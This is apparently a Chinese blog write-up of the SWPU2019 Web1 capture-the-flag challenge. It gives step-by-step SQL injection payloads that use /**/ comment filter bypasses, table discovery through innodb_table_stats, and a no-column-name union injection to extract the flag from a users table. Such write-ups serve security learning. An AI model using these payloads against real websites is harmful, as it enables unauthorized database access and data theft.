当前位置:网站首页>[SWPU2019]Web1
[SWPU2019]Web1
2022-08-05 03:52:00 【pakho_C】
[SWPU2019]Web1
尝试注册admin,显示已存在,爆破密码没爆出来
注册一个test账户 登陆
申请发布广告
尝试注入
使用单引号尝试,报错
说明存在注入,尝试万能密码

有过滤,尝试fuzz,但是限制了次数和不允许相同广告标题
所以只能手动测试,过滤了 or order floor updatexml # – 等,并且自动消除了空格,尝试内联注释/**/绕过
由于or被过滤,那么information_schema就无法使用,只能使用无列名注入,参考:SQL注入之无列名注入
1.使用group by获取列数:1'/**/group/**/by/**/22,'1
1'/**/group/**/by/**/23,'1
得到列数为22
2.使用联合查询查看回显点:-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
得到回显点为 2 3
接着查表名的时候发现or被过滤,且无法通过大小写和双写绕过,那么information_schema因为含有or,所以也没法使用。这里有两种方法可以绕过
InnoDb引擎
从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。
sys数据库
在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名。
注:sys库需要root权限才能访问。innodb在mysql中是默认关闭的。
3.使用innodb绕过,查看表名:-1'union/**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()&&'1'='1 
得到表名为 ads users
4.使用无列名注入查看users表中的第二个字段的内容:
-1'/**/union/**/select/**/1,(select/**/group_concat(`2`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
注:这里的联合注入使用的select 1,2,3可以测试出来,如果不匹配会有提醒
测出来为3列
得到字段名为flag,那么第三个字段中第一个值就是flag
将要查询的列改为3即可
-1'/**/union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1

边栏推荐
- presto启动成功后出现2022-08-04T17:50:58.296+0800 ERROR Announcer-3 io.airlift.discovery.client.Announcer
- Summary of common methods of arrays
- 【测量学】速成汇总——摘录高数帮
- DEJA_VU3D - Cesium功能集 之 058-高德地图纠偏
- Bosses, I noticed that a mysql CDC connector parameters scan. The incremental. Sna
- [GYCTF2020]EasyThinking
- Developing Hololens encountered The type or namespace name 'HandMeshVertex' could not be found..
- 数据库设计的酸(ACID)碱(BASE)原则
- 新人如何入门和学习软件测试?
- ffmpeg enumeration decoders, encoders analysis
猜你喜欢

2022-08-04 The sixth group, hidden from spring, study notes

markdown如何换行——md文件

Shell script: for loop and the while loop

UE4 opens door via interaction (keyboard key)

token、jwt、oauth2、session解析

Walter talked little knowledge | "remote passthrough" that something
![[Paper Notes] MapReduce: Simplified Data Processing on Large Clusters](/img/89/8adef42b0cfd154e6fa7205afaeade.png)
[Paper Notes] MapReduce: Simplified Data Processing on Large Clusters

数据库设计的酸(ACID)碱(BASE)原则

[TA-Frost Wolf_may-"Hundred Talents Project"] Graphics 4.3 Real-time Shadow Introduction

The second council meeting of the Dragon Lizard Community was successfully held!Director general election, 4 special consultants joined
随机推荐
YYGH-13-Customer Service Center
开发Hololens遇到The type or namespace name ‘HandMeshVertex‘ could not be found..
关于#SQL#的迭代、父子结构查询问题,如何解决?
测试薪资这么高?刚毕业就20K
The test salary is so high?20K just graduated
Redis1: Introduction to Redis, basic features of Redis, relational database, non-relational database, database development stage
Qixi Festival code confession
日志导致线程Block的这些坑,你不得不防
UE4 更改组件变量 (以修改第一人称角色模板的最大行走速度和跳跃高度为例)
Android Practical Development - Kotlin Tutorial (Introduction - Login Function Implementation 3.3)
MySql的索引学习和使用;(本人觉得足够详细)
High Item 02 Information System Project Management Fundamentals
UE4 通过重叠事件开启门
Redis key basic commands
Static method to get configuration file data
Walter talked little knowledge | "remote passthrough" that something
ffmpeg pixel format basics
From "useable" to "easy to use", domestic software is self-controllable and continues to advance
UE4 第一人称角色模板 添加蹲伏功能
How to discover a valuable GameFi?